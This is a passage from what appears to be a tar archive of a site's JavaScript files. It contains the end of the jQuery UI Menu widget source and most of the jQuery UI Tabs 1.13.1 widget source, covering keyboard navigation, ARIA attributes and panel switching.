Prevent focus from sticking to links inside menu after clicking // them (focus should always stay on UL during navigation). "mousedown .ui-menu-item": function( event ) { event.preventDefault(); this._activateItem( event ); }, "click .ui-menu-item": function( event ) { var target = $( event.target ); var active = $( $.ui.safeActiveElement( this.document[ 0 ] ) ); if ( !this.mouseHandled && target.not( ".ui-state-disabled" ).length ) { this.select( event ); // Only set the mouseHandled flag if the event will bubble, see #9469. if ( !event.isPropagationStopped() ) { this.mouseHandled = true; } // Open submenu on click if ( target.has( ".ui-menu" ).length ) { this.expand( event ); } else if ( !this.element.is( ":focus" ) && active.closest( ".ui-menu" ).length ) { // Redirect focus to the menu this.element.trigger( "focus", [ true ] ); // If the active item is on the top level, let it stay active. // Otherwise, blur the active item since it is no longer visible. if ( this.active && this.active.parents( ".ui-menu" ).length === 1 ) { clearTimeout( this.timer ); } } } }, "mouseenter .ui-menu-item": "_activateItem", "mousemove .ui-menu-item": "_activateItem", mouseleave: "collapseAll", "mouseleave .ui-menu": "collapseAll", focus: function( event, keepActiveItem ) { // If there's already an active item, keep it active // If not, activate the first item var item = this.active || this._menuItems().first(); if ( !keepActiveItem ) { this.focus( event, item ); } }, blur: function( event ) { this._delay( function() { var notContained = !$.contains( this.element[ 0 ], $.ui.safeActiveElement( this.document[ 0 ] ) ); if ( notContained ) { this.collapseAll( event ); } } ); }, keydown: "_keydown" } ); this.refresh(); // Clicks outside of a menu collapse any open menus this._on( this.document, { click: function( event ) { if ( this._closeOnDocumentClick( event ) ) { this.collapseAll( event, true ); } // Reset the mouseHandled flag this.mouseHandled = false; } } ); }, _activateItem: function( event ) { // Ignore mouse events while typeahead is active, see #10458. // Prevents focusing the wrong item when typeahead causes a scroll while the mouse // is over an item in the menu if ( this.previousFilter ) { return; } // If the mouse didn't actually move, but the page was scrolled, ignore the event (#9356) if ( event.clientX === this.lastMousePosition.x && event.clientY === this.lastMousePosition.y ) { return; } this.lastMousePosition = { x: event.clientX, y: event.clientY }; var actualTarget = $( event.target ).closest( ".ui-menu-item" ), target = $( event.currentTarget ); // Ignore bubbled events on parent items, see #11641 if ( actualTarget[ 0 ] !== target[ 0 ] ) { return; } // If the item is already active, there's nothing to do if ( target.is( ".ui-state-active" ) ) { return; } // Remove ui-state-active class from siblings of the newly focused menu item // to avoid a jump caused by adjacent elements both having a class with a border this._removeClass( target.siblings().children( ".ui-state-active" ), null, "ui-state-active" ); this.focus( event, target ); }, _destroy: function() { var items = this.element.find( ".ui-menu-item" ) .removeAttr( "role aria-disabled" ), submenus = items.children( ".ui-menu-item-wrapper" ) .removeUniqueId() .removeAttr( "tabIndex role aria-haspopup" ); // Destroy (sub)menus this.element .removeAttr( "aria-activedescendant" ) .find( ".ui-menu" ).addBack() .removeAttr( "role aria-labelledby aria-expanded aria-hidden aria-disabled " + "tabIndex" ) .removeUniqueId() .show(); submenus.children().each( function() { var elem = $( this ); if ( elem.data( "ui-menu-submenu-caret" ) ) { elem.remove(); } } ); }, _keydown: function( event ) { var match, prev, character, skip, preventDefault = true; switch ( event.keyCode ) { case $.ui.keyCode.PAGE_UP: this.previousPage( event ); break; case $.ui.keyCode.PAGE_DOWN: this.nextPage( event ); break; case $.ui.keyCode.HOME: this._move( "first", "first", event ); break; case $.ui.keyCode.END: this._move( "last", "last", event ); break; case $.ui.keyCode.UP: this.previous( event ); break; case $.ui.keyCode.DOWN: this.next( event ); break; case $.ui.keyCode.LEFT: this.collapse( event ); break; case $.ui.keyCode.RIGHT: if ( this.active && !this.active.is( ".ui-state-disabled" ) ) { this.expand( event ); } break; case $.ui.keyCode.ENTER: case $.ui.keyCode.SPACE: this._activate( event ); break; case $.ui.keyCode.ESCAPE: this.collapse( event ); break; default: preventDefault = false; prev = this.previousFilter || ""; skip = false; // Support number pad values character = event.keyCode >= 96 && event.keyCode <= 105 ? ( event.keyCode - 96 ).toString() : String.fromCharCode( event.keyCode ); clearTimeout( this.filterTimer ); if ( character === prev ) { skip = true; } else { character = prev + character; } match = this._filterMenuItems( character ); match = skip && match.index( this.active.next() ) !== -1 ? this.active.nextAll( ".ui-menu-item" ) : match; // If no matches on the current filter, reset to the last character pressed // to move down the menu to the first item that starts with that character if ( !match.length ) { character = String.fromCharCode( event.keyCode ); match = this._filterMenuItems( character ); } if ( match.length ) { this.focus( event, match ); this.previousFilter = character; this.filterTimer = this._delay( function() { delete this.previousFilter; }, 1000 ); } else { delete this.previousFilter; } } if ( preventDefault ) { event.preventDefault(); } }, _activate: function( event ) { if ( this.active && !this.active.is( ".ui-state-disabled" ) ) { if ( this.active.children( "[aria-haspopup='true']" ).length ) { this.expand( event ); } else { this.select( event ); } } }, refresh: function() { var menus, items, newSubmenus, newItems, newWrappers, that = this, icon = this.options.icons.submenu, submenus = this.element.find( this.options.menus ); this._toggleClass( "ui-menu-icons", null, !!this.element.find( ".ui-icon" ).length ); // Initialize nested menus newSubmenus = submenus.filter( ":not(.ui-menu)" ) .hide() .attr( { role: this.options.role, "aria-hidden": "true", "aria-expanded": "false" } ) .each( function() { var menu = $( this ), item = menu.prev(), submenuCaret = $( "<span>" ).data( "ui-menu-submenu-caret", true ); that._addClass( submenuCaret, "ui-menu-icon", "ui-icon " + icon ); item .attr( "aria-haspopup", "true" ) .prepend( submenuCaret ); menu.attr( "aria-labelledby", item.attr( "id" ) ); } ); this._addClass( newSubmenus, "ui-menu", "ui-widget ui-widget-content ui-front" ); menus = submenus.add( this.element ); items = menus.find( this.options.items ); // Initialize menu-items containing spaces and/or dashes only as dividers items.not( ".ui-menu-item" ).each( function() { var item = $( this ); if ( that._isDivider( item ) ) { that._addClass( item, "ui-menu-divider", "ui-widget-content" ); } } ); // Don't refresh list items that are already adapted newItems = items.not( ".ui-menu-item, .ui-menu-divider" ); newWrappers = newItems.children() .not( ".ui-menu" ) .uniqueId() .attr( { tabIndex: -1, role: this._itemRole() } ); this._addClass( newItems, "ui-menu-item" ) ._addClass( newWrappers, "ui-menu-item-wrapper" ); // Add aria-disabled attribute to any disabled menu item items.filter( ".ui-state-disabled" ).attr( "aria-disabled", "true" ); // If the active item has been removed, blur the menu if ( this.active && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) { this.blur(); } }, _itemRole: function() { return { menu: "menuitem", listbox: "option" }[ this.options.role ]; }, _setOption: function( key, value ) { if ( key === "icons" ) { var icons = this.element.find( ".ui-menu-icon" ); this._removeClass( icons, null, this.options.icons.submenu ) ._addClass( icons, null, value.submenu ); } this._super( key, value ); }, _setOptionDisabled: function( value ) { this._super( value ); this.element.attr( "aria-disabled", String( value ) ); this._toggleClass( null, "ui-state-disabled", !!value ); }, focus: function( event, item ) { var nested, focused, activeParent; this.blur( event, event && event.type === "focus" ); this._scrollIntoView( item ); this.active = item.first(); focused = this.active.children( ".ui-menu-item-wrapper" ); this._addClass( focused, null, "ui-state-active" ); // Only update aria-activedescendant if there's a role // otherwise we assume focus is managed elsewhere if ( this.options.role ) { this.element.attr( "aria-activedescendant", focused.attr( "id" ) ); } // Highlight active parent menu item, if any activeParent = this.active .parent() .closest( ".ui-menu-item" ) .children( ".ui-menu-item-wrapper" ); this._addClass( activeParent, null, "ui-state-active" ); if ( event && event.type === "keydown" ) { this._close(); } else { this.timer = this._delay( function() { this._close(); }, this.delay ); } nested = item.children( ".ui-menu" ); if ( nested.length && event && ( /^mouse/.test( event.type ) ) ) { this._startOpening( nested ); } this.activeMenu = item.parent(); this._trigger( "focus", event, { item: item } ); }, _scrollIntoView: function( item ) { var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight; if ( this._hasScroll() ) { borderTop = parseFloat( $.css( this.activeMenu[ 0 ], "borderTopWidth" ) ) || 0; paddingTop = parseFloat( $.css( this.activeMenu[ 0 ], "paddingTop" ) ) || 0; offset = item.offset().top - this.activeMenu.offset().top - borderTop - paddingTop; scroll = this.activeMenu.scrollTop(); elementHeight = this.activeMenu.height(); itemHeight = item.outerHeight(); if ( offset < 0 ) { this.activeMenu.scrollTop( scroll + offset ); } else if ( offset + itemHeight > elementHeight ) { this.activeMenu.scrollTop( scroll + offset - elementHeight + itemHeight ); } } }, blur: function( event, fromFocus ) { if ( !fromFocus ) { clearTimeout( this.timer ); } if ( !this.active ) { return; } this._removeClass( this.active.children( ".ui-menu-item-wrapper" ), null, "ui-state-active" ); this._trigger( "blur", event, { item: this.active } ); this.active = null; }, _startOpening: function( submenu ) { clearTimeout( this.timer ); // Don't open if already open fixes a Firefox bug that caused a .5 pixel // shift in the submenu position when mousing over the caret icon if ( submenu.attr( "aria-hidden" ) !== "true" ) { return; } this.timer = this._delay( function() { this._close(); this._open( submenu ); }, this.delay ); }, _open: function( submenu ) { var position = $.extend( { of: this.active }, this.options.position ); clearTimeout( this.timer ); this.element.find( ".ui-menu" ).not( submenu.parents( ".ui-menu" ) ) .hide() .attr( "aria-hidden", "true" ); submenu .show() .removeAttr( "aria-hidden" ) .attr( "aria-expanded", "true" ) .position( position ); }, collapseAll: function( event, all ) { clearTimeout( this.timer ); this.timer = this._delay( function() { // If we were passed an event, look for the submenu that contains the event var currentMenu = all ? this.element : $( event && event.target ).closest( this.element.find( ".ui-menu" ) ); // If we found no valid submenu ancestor, use the main menu to close all // sub menus anyway if ( !currentMenu.length ) { currentMenu = this.element; } this._close( currentMenu ); this.blur( event ); // Work around active item staying active after menu is blurred this._removeClass( currentMenu.find( ".ui-state-active" ), null, "ui-state-active" ); this.activeMenu = currentMenu; }, all ? 0 : this.delay ); }, // With no arguments, closes the currently active menu - if nothing is active // it closes all menus. If passed an argument, it will search for menus BELOW _close: function( startMenu ) { if ( !startMenu ) { startMenu = this.active ? this.active.parent() : this.element; } startMenu.find( ".ui-menu" ) .hide() .attr( "aria-hidden", "true" ) .attr( "aria-expanded", "false" ); }, _closeOnDocumentClick: function( event ) { return !$( event.target ).closest( ".ui-menu" ).length; }, _isDivider: function( item ) { // Match hyphen, em dash, en dash return !/[^\-\u2014\u2013\s]/.test( item.text() ); }, collapse: function( event ) { var newItem = this.active && this.active.parent().closest( ".ui-menu-item", this.element ); if ( newItem && newItem.length ) { this._close(); this.focus( event, newItem ); } }, expand: function( event ) { var newItem = this.active && this._menuItems( this.active.children( ".ui-menu" ) ).first(); if ( newItem && newItem.length ) { this._open( newItem.parent() ); // Delay so Firefox will not hide activedescendant change in expanding submenu from AT this._delay( function() { this.focus( event, newItem ); } ); } }, next: function( event ) { this._move( "next", "first", event ); }, previous: function( event ) { this._move( "prev", "last", event ); }, isFirstItem: function() { return this.active && !this.active.prevAll( ".ui-menu-item" ).length; }, isLastItem: function() { return this.active && !this.active.nextAll( ".ui-menu-item" ).length; }, _menuItems: function( menu ) { return ( menu || this.element ) .find( this.options.items ) .filter( ".ui-menu-item" ); }, _move: function( direction, filter, event ) { var next; if ( this.active ) { if ( direction === "first" || direction === "last" ) { next = this.active [ direction === "first" ? "prevAll" : "nextAll" ]( ".ui-menu-item" ) .last(); } else { next = this.active [ direction + "All" ]( ".ui-menu-item" ) .first(); } } if ( !next || !next.length || !this.active ) { next = this._menuItems( this.activeMenu )[ filter ](); } this.focus( event, next ); }, nextPage: function( event ) { var item, base, height; if ( !this.active ) { this.next( event ); return; } if ( this.isLastItem() ) { return; } if ( this._hasScroll() ) { base = this.active.offset().top; height = this.element.innerHeight(); // jQuery 3.2 doesn't include scrollbars in innerHeight, add it back. if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) { height += this.element[ 0 ].offsetHeight - this.element.outerHeight(); } this.active.nextAll( ".ui-menu-item" ).each( function() { item = $( this ); return item.offset().top - base - height < 0; } ); this.focus( event, item ); } else { this.focus( event, this._menuItems( this.activeMenu ) [ !this.active ? "first" : "last" ]() ); } }, previousPage: function( event ) { var item, base, height; if ( !this.active ) { this.next( event ); return; } if ( this.isFirstItem() ) { return; } if ( this._hasScroll() ) { base = this.active.offset().top; height = this.element.innerHeight(); // jQuery 3.2 doesn't include scrollbars in innerHeight, add it back. if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) { height += this.element[ 0 ].offsetHeight - this.element.outerHeight(); } this.active.prevAll( ".ui-menu-item" ).each( function() { item = $( this ); return item.offset().top - base + height > 0; } ); this.focus( event, item ); } else { this.focus( event, this._menuItems( this.activeMenu ).first() ); } }, _hasScroll: function() { return this.element.outerHeight() < this.element.prop( "scrollHeight" ); }, select: function( event ) { // TODO: It should never be possible to not have an active item at this // point, but the tests don't trigger mouseenter before click. this.active = this.active || $( event.target ).closest( ".ui-menu-item" ); var ui = { item: this.active }; if ( !this.active.has( ".ui-menu" ).length ) { this.collapseAll( event, true ); } this._trigger( "select", event, ui ); }, _filterMenuItems: function( character ) { var escapedCharacter = character.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ), regex = new RegExp( "^" + escapedCharacter, "i" ); return this.activeMenu .find( this.options.items ) // Only match on items, not dividers or other content (#10571) .filter( ".ui-menu-item" ) .filter( function() { return regex.test( String.prototype.trim.call( $( this ).children( ".ui-menu-item-wrapper" ).text() ) ); } ); } } ); } ); ����������������������������������������������������js/jquery/ui/tabs.js��������������������������������������������������������������������������������0000644�����������������00000056057�14717703502�0010426 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Tabs 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Tabs //>>group: Widgets //>>description: Transforms a set of container elements into a tab structure. //>>docs: http://api.jqueryui.com/tabs/ //>>demos: http://jqueryui.com/tabs/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/tabs.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.tabs", { version: "1.13.1", delay: 300, options: { active: null, classes: { "ui-tabs": "ui-corner-all", "ui-tabs-nav": "ui-corner-all", "ui-tabs-panel": "ui-corner-bottom", "ui-tabs-tab": "ui-corner-top" }, collapsible: false, event: "click", heightStyle: "content", hide: null, show: null, // Callbacks activate: null, beforeActivate: null, beforeLoad: null, load: null }, _isLocal: ( function() { var rhash = /#.*$/; return function( anchor ) { var anchorUrl, locationUrl; anchorUrl = anchor.href.replace( rhash, "" ); locationUrl = location.href.replace( rhash, "" ); // Decoding may throw an error if the URL isn't UTF-8 (#9518) try { anchorUrl = decodeURIComponent( anchorUrl ); } catch ( error ) {} try { locationUrl = decodeURIComponent( locationUrl ); } catch ( error ) {} return anchor.hash.length > 1 && anchorUrl === locationUrl; }; } )(), _create: function() { var that = this, options = this.options; this.running = false; this._addClass( "ui-tabs", "ui-widget ui-widget-content" ); this._toggleClass( "ui-tabs-collapsible", null, options.collapsible ); this._processTabs(); options.active = this._initialActive(); // Take disabling tabs via class attribute from HTML // into account and update option properly. if ( Array.isArray( options.disabled ) ) { options.disabled = $.uniqueSort( options.disabled.concat( $.map( this.tabs.filter( ".ui-state-disabled" ), function( li ) { return that.tabs.index( li ); } ) ) ).sort(); } // Check for length avoids error when initializing empty list if ( this.options.active !== false && this.anchors.length ) { this.active = this._findActive( options.active ); } else { this.active = $(); } this._refresh(); if ( this.active.length ) { this.load( options.active ); } }, _initialActive: function() { var active = this.options.active, collapsible = this.options.collapsible, locationHash = location.hash.substring( 1 ); if ( active === null ) { // check the fragment identifier in the URL if ( locationHash ) { this.tabs.each( function( i, tab ) { if ( $( tab ).attr( "aria-controls" ) === locationHash ) { active = i; return false; } } ); } // Check for a tab marked active via a class if ( active === null ) { active = this.tabs.index( this.tabs.filter( ".ui-tabs-active" ) ); } // No active tab, set to false if ( active === null || active === -1 ) { active = this.tabs.length ? 0 : false; } } // Handle numbers: negative, out of range if ( active !== false ) { active = this.tabs.index( this.tabs.eq( active ) ); if ( active === -1 ) { active = collapsible ? false : 0; } } // Don't allow collapsible: false and active: false if ( !collapsible && active === false && this.anchors.length ) { active = 0; } return active; }, _getCreateEventData: function() { return { tab: this.active, panel: !this.active.length ? $() : this._getPanelForTab( this.active ) }; }, _tabKeydown: function( event ) { var focusedTab = $( $.ui.safeActiveElement( this.document[ 0 ] ) ).closest( "li" ), selectedIndex = this.tabs.index( focusedTab ), goingForward = true; if ( this._handlePageNav( event ) ) { return; } switch ( event.keyCode ) { case $.ui.keyCode.RIGHT: case $.ui.keyCode.DOWN: selectedIndex++; break; case $.ui.keyCode.UP: case $.ui.keyCode.LEFT: goingForward = false; selectedIndex--; break; case $.ui.keyCode.END: selectedIndex = this.anchors.length - 1; break; case $.ui.keyCode.HOME: selectedIndex = 0; break; case $.ui.keyCode.SPACE: // Activate only, no collapsing event.preventDefault(); clearTimeout( this.activating ); this._activate( selectedIndex ); return; case $.ui.keyCode.ENTER: // Toggle (cancel delayed activation, allow collapsing) event.preventDefault(); clearTimeout( this.activating ); // Determine if we should collapse or activate this._activate( selectedIndex === this.options.active ? false : selectedIndex ); return; default: return; } // Focus the appropriate tab, based on which key was pressed event.preventDefault(); clearTimeout( this.activating ); selectedIndex = this._focusNextTab( selectedIndex, goingForward ); // Navigating with control/command key will prevent automatic activation if ( !event.ctrlKey && !event.metaKey ) { // Update aria-selected immediately so that AT think the tab is already selected. // Otherwise AT may confuse the user by stating that they need to activate the tab, // but the tab will already be activated by the time the announcement finishes. focusedTab.attr( "aria-selected", "false" ); this.tabs.eq( selectedIndex ).attr( "aria-selected", "true" ); this.activating = this._delay( function() { this.option( "active", selectedIndex ); }, this.delay ); } }, _panelKeydown: function( event ) { if ( this._handlePageNav( event ) ) { return; } // Ctrl+up moves focus to the current tab if ( event.ctrlKey && event.keyCode === $.ui.keyCode.UP ) { event.preventDefault(); this.active.trigger( "focus" ); } }, // Alt+page up/down moves focus to the previous/next tab (and activates) _handlePageNav: function( event ) { if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_UP ) { this._activate( this._focusNextTab( this.options.active - 1, false ) ); return true; } if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_DOWN ) { this._activate( this._focusNextTab( this.options.active + 1, true ) ); return true; } }, _findNextTab: function( index, goingForward ) { var lastTabIndex = this.tabs.length - 1; function constrain() { if ( index > lastTabIndex ) { index = 0; } if ( index < 0 ) { index = lastTabIndex; } return index; } while ( $.inArray( constrain(), this.options.disabled ) !== -1 ) { index = goingForward ? index + 1 : index - 1; } return index; }, _focusNextTab: function( index, goingForward ) { index = this._findNextTab( index, goingForward ); this.tabs.eq( index ).trigger( "focus" ); return index; }, _setOption: function( key, value ) { if ( key === "active" ) { // _activate() will handle invalid values and update this.options this._activate( value ); return; } this._super( key, value ); if ( key === "collapsible" ) { this._toggleClass( "ui-tabs-collapsible", null, value ); // Setting collapsible: false while collapsed; open first panel if ( !value && this.options.active === false ) { this._activate( 0 ); } } if ( key === "event" ) { this._setupEvents( value ); } if ( key === "heightStyle" ) { this._setupHeightStyle( value ); } }, _sanitizeSelector: function( hash ) { return hash ? hash.replace( /[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, "\\$&" ) : ""; }, refresh: function() { var options = this.options, lis = this.tablist.children( ":has(a[href])" ); // Get disabled tabs from class attribute from HTML // this will get converted to a boolean if needed in _refresh() options.disabled = $.map( lis.filter( ".ui-state-disabled" ), function( tab ) { return lis.index( tab ); } ); this._processTabs(); // Was collapsed or no tabs if ( options.active === false || !this.anchors.length ) { options.active = false; this.active = $(); // was active, but active tab is gone } else if ( this.active.length && !$.contains( this.tablist[ 0 ], this.active[ 0 ] ) ) { // all remaining tabs are disabled if ( this.tabs.length === options.disabled.length ) { options.active = false; this.active = $(); // activate previous tab } else { this._activate( this._findNextTab( Math.max( 0, options.active - 1 ), false ) ); } // was active, active tab still exists } else { // make sure active index is correct options.active = this.tabs.index( this.active ); } this._refresh(); }, _refresh: function() { this._setOptionDisabled( this.options.disabled ); this._setupEvents( this.options.event ); this._setupHeightStyle( this.options.heightStyle ); this.tabs.not( this.active ).attr( { "aria-selected": "false", "aria-expanded": "false", tabIndex: -1 } ); this.panels.not( this._getPanelForTab( this.active ) ) .hide() .attr( { "aria-hidden": "true" } ); // Make sure one tab is in the tab order if ( !this.active.length ) { this.tabs.eq( 0 ).attr( "tabIndex", 0 ); } else { this.active .attr( { "aria-selected": "true", "aria-expanded": "true", tabIndex: 0 } ); this._addClass( this.active, "ui-tabs-active", "ui-state-active" ); this._getPanelForTab( this.active ) .show() .attr( { "aria-hidden": "false" } ); } }, _processTabs: function() { var that = this, prevTabs = this.tabs, prevAnchors = this.anchors, prevPanels = this.panels; this.tablist = this._getList().attr( "role", "tablist" ); this._addClass( this.tablist, "ui-tabs-nav", "ui-helper-reset ui-helper-clearfix ui-widget-header" ); // Prevent users from focusing disabled tabs via click this.tablist .on( "mousedown" + this.eventNamespace, "> li", function( event ) { if ( $( this ).is( ".ui-state-disabled" ) ) { event.preventDefault(); } } ) // Support: IE <9 // Preventing the default action in mousedown doesn't prevent IE // from focusing the element, so if the anchor gets focused, blur. // We don't have to worry about focusing the previously focused // element since clicking on a non-focusable element should focus // the body anyway. .on( "focus" + this.eventNamespace, ".ui-tabs-anchor", function() { if ( $( this ).closest( "li" ).is( ".ui-state-disabled" ) ) { this.blur(); } } ); this.tabs = this.tablist.find( "> li:has(a[href])" ) .attr( { role: "tab", tabIndex: -1 } ); this._addClass( this.tabs, "ui-tabs-tab", "ui-state-default" ); this.anchors = this.tabs.map( function() { return $( "a", this )[ 0 ]; } ) .attr( { tabIndex: -1 } ); this._addClass( this.anchors, "ui-tabs-anchor" ); this.panels = $(); this.anchors.each( function( i, anchor ) { var selector, panel, panelId, anchorId = $( anchor ).uniqueId().attr( "id" ), tab = $( anchor ).closest( "li" ), originalAriaControls = tab.attr( "aria-controls" ); // Inline tab if ( that._isLocal( anchor ) ) { selector = anchor.hash; panelId = selector.substring( 1 ); panel = that.element.find( that._sanitizeSelector( selector ) ); // remote tab } else { // If the tab doesn't already have aria-controls, // generate an id by using a throw-away element panelId = tab.attr( "aria-controls" ) || $( {} ).uniqueId()[ 0 ].id; selector = "#" + panelId; panel = that.element.find( selector ); if ( !panel.length ) { panel = that._createPanel( panelId ); panel.insertAfter( that.panels[ i - 1 ] || that.tablist ); } panel.attr( "aria-live", "polite" ); } if ( panel.length ) { that.panels = that.panels.add( panel ); } if ( originalAriaControls ) { tab.data( "ui-tabs-aria-controls", originalAriaControls ); } tab.attr( { "aria-controls": panelId, "aria-labelledby": anchorId } ); panel.attr( "aria-labelledby", anchorId ); } ); this.panels.attr( "role", "tabpanel" ); this._addClass( this.panels, "ui-tabs-panel", "ui-widget-content" ); // Avoid memory leaks (#10056) if ( prevTabs ) { this._off( prevTabs.not( this.tabs ) ); this._off( prevAnchors.not( this.anchors ) ); this._off( prevPanels.not( this.panels ) ); } }, // Allow overriding how to find the list for rare usage scenarios (#7715) _getList: function() { return this.tablist || this.element.find( "ol, ul" ).eq( 0 ); }, _createPanel: function( id ) { return $( "<div>" ) .attr( "id", id ) .data( "ui-tabs-destroy", true ); }, _setOptionDisabled: function( disabled ) { var currentItem, li, i; if ( Array.isArray( disabled ) ) { if ( !disabled.length ) { disabled = false; } else if ( disabled.length === this.anchors.length ) { disabled = true; } } // Disable tabs for ( i = 0; ( li = this.tabs[ i ] ); i++ ) { currentItem = $( li ); if ( disabled === true || $.inArray( i, disabled ) !== -1 ) { currentItem.attr( "aria-disabled", "true" ); this._addClass( currentItem, null, "ui-state-disabled" ); } else { currentItem.removeAttr( "aria-disabled" ); this._removeClass( currentItem, null, "ui-state-disabled" ); } } this.options.disabled = disabled; this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null, disabled === true ); }, _setupEvents: function( event ) { var events = {}; if ( event ) { $.each( event.split( " " ), function( index, eventName ) { events[ eventName ] = "_eventHandler"; } ); } this._off( this.anchors.add( this.tabs ).add( this.panels ) ); // Always prevent the default action, even when disabled this._on( true, this.anchors, { click: function( event ) { event.preventDefault(); } } ); this._on( this.anchors, events ); this._on( this.tabs, { keydown: "_tabKeydown" } ); this._on( this.panels, { keydown: "_panelKeydown" } ); this._focusable( this.tabs ); this._hoverable( this.tabs ); }, _setupHeightStyle: function( heightStyle ) { var maxHeight, parent = this.element.parent(); if ( heightStyle === "fill" ) { maxHeight = parent.height(); maxHeight -= this.element.outerHeight() - this.element.height(); this.element.siblings( ":visible" ).each( function() { var elem = $( this ), position = elem.css( "position" ); if ( position === "absolute" || position === "fixed" ) { return; } maxHeight -= elem.outerHeight( true ); } ); this.element.children().not( this.panels ).each( function() { maxHeight -= $( this ).outerHeight( true ); } ); this.panels.each( function() { $( this ).height( Math.max( 0, maxHeight - $( this ).innerHeight() + $( this ).height() ) ); } ) .css( "overflow", "auto" ); } else if ( heightStyle === "auto" ) { maxHeight = 0; this.panels.each( function() { maxHeight = Math.max( maxHeight, $( this ).height( "" ).height() ); } ).height( maxHeight ); } }, _eventHandler: function( event ) { var options = this.options, active = this.active, anchor = $( event.currentTarget ), tab = anchor.closest( "li" ), clickedIsActive = tab[ 0 ] === active[ 0 ], collapsing = clickedIsActive && options.collapsible, toShow = collapsing ? $() : this._getPanelForTab( tab ), toHide = !active.length ? $() : this._getPanelForTab( active ), eventData = { oldTab: active, oldPanel: toHide, newTab: collapsing ? $() : tab, newPanel: toShow }; event.preventDefault(); if ( tab.hasClass( "ui-state-disabled" ) || // tab is already loading tab.hasClass( "ui-tabs-loading" ) || // can't switch durning an animation this.running || // click on active header, but not collapsible ( clickedIsActive && !options.collapsible ) || // allow canceling activation ( this._trigger( "beforeActivate", event, eventData ) === false ) ) { return; } options.active = collapsing ? false : this.tabs.index( tab ); this.active = clickedIsActive ? $() : tab; if ( this.xhr ) { this.xhr.abort(); } if ( !toHide.length && !toShow.length ) { $.error( "jQuery UI Tabs: Mismatching fragment identifier." ); } if ( toShow.length ) { this.load( this.tabs.index( tab ), event ); } this._toggle( event, eventData ); }, // Handles show/hide for selecting tabs _toggle: function( event, eventData ) { var that = this, toShow = eventData.newPanel, toHide = eventData.oldPanel; this.running = true; function complete() { that.running = false; that._trigger( "activate", event, eventData ); } function show() { that._addClass( eventData.newTab.closest( "li" ), "ui-tabs-active", "ui-state-active" ); if ( toShow.length && that.options.show ) { that._show( toShow, that.options.show, complete ); } else { toShow.show(); complete(); } } // Start out by hiding, then showing, then completing if ( toHide.length && this.options.hide ) { this._hide( toHide, this.options.hide, function() { that._removeClass( eventData.oldTab.closest( "li" ), "ui-tabs-active", "ui-state-active" ); show(); } ); } else { this._removeClass( eventData.oldTab.closest( "li" ), "ui-tabs-active", "ui-state-active" ); toHide.hide(); show(); } toHide.attr( "aria-hidden", "true" ); eventData.oldTab.attr( { "aria-selected": "false", "aria-expanded": "false" } ); // If we're switching tabs, remove the old tab from the tab order. // If we're opening from collapsed state, remove the previous tab from the tab order. // If we're collapsing, then keep the collapsing tab in the tab order. if ( toShow.length && toHide.length ) { eventData.oldTab.attr( "tabIndex", -1 ); } else if ( toShow.length ) { this.tabs.filter( function() { return $( this ).attr( "tabIndex" ) === 0; } ) .attr( "tabIndex", -1 ); } toShow.attr( "aria-hidden", "false" ); eventData.newTab.attr( { "aria-selected": "true", "aria-expanded": "true", tabIndex: 0 } ); }, _activate: function( index ) { var anchor, active = this._findActive( index ); // Trying to activate the already active panel if ( active[ 0 ] === this.active[ 0 ] ) { return; } // Trying to collapse, simulate a click on the current active header if ( !active.length ) { active = this.active; } anchor = active.find( ".ui-tabs-anchor" )[ 0 ]; this._eventHandler( { target: anchor, currentTarget: anchor, preventDefault: $.noop } ); }, _findActive: function( index ) { return index === false ? $() : this.tabs.eq( index ); }, _getIndex: function( index ) { // meta-function to give users option to provide a href string instead of a numerical index. if ( typeof index === "string" ) { index = this.anchors.index( this.anchors.filter( "[href$='" + $.escapeSelector( index ) + "']" ) ); } return index; }, _destroy: function() { if ( this.xhr ) { this.xhr.abort(); } this.tablist .removeAttr( "role" ) .off( this.eventNamespace ); this.anchors .removeAttr( "role tabIndex" ) .removeUniqueId(); this.tabs.add( this.panels ).each( function() { if ( $.data( this, "ui-tabs-destroy" ) ) { $( this ).remove(); } else { $( this ).removeAttr( "role tabIndex " + "aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded" ); } } ); this.tabs.each( function() { var li = $( this ), prev = li.data( "ui-tabs-aria-controls" ); if ( prev ) { li .attr( "aria-controls", prev ) .removeData( "ui-tabs-aria-controls" ); } else { li.removeAttr( "aria-controls" ); } } ); this.panels.show(); if ( this.options.heightStyle !== "content" ) { this.panels.css( "height", "" ); } }, enable: function( index ) { var disabled = this.options.disabled; if ( disabled === false ) { return; } if ( index === undefined ) { disabled = false; } else { index = this._getIndex( index ); if ( Array.isArray( disabled ) ) { disabled = $.map( disabled, function( num ) { return num !== index ? num : null; } ); } else { disabled = $.map( this.tabs, function( li, num ) { return num !== index ? num : null; } ); } } this._setOptionDisabled( disabled ); }, disable: function( index ) { var disabled = this.options.disabled; if ( disabled === true ) { return; } if ( index === undefined ) { disabled = true; } else { index = this._getIndex( index ); if ( $.inArray( index, disabled ) !== -1 ) { return; } if ( Array.isArray( disabled ) ) { disabled = $.merge( [ index ], disabled ).sort(); } else { disabled = [ index ]; } } this._setOptionDisabled( disabled ); }, load: function( index, event ) { index = this._getIndex( index ); var that = this, tab = this.tabs.eq( index ), anchor = tab.find( ".ui-tabs-anchor" ), panel = this._getPanelForTab( tab ), eventData = { tab: tab, panel: panel }, complete = function( jqXHR, status ) { if ( status === "abort" ) { that.panels.stop( false, true ); } that._removeClass( tab, "ui-tabs-loading" ); panel.removeAttr( "aria-busy" ); if ( jqXHR === that.xhr ) { 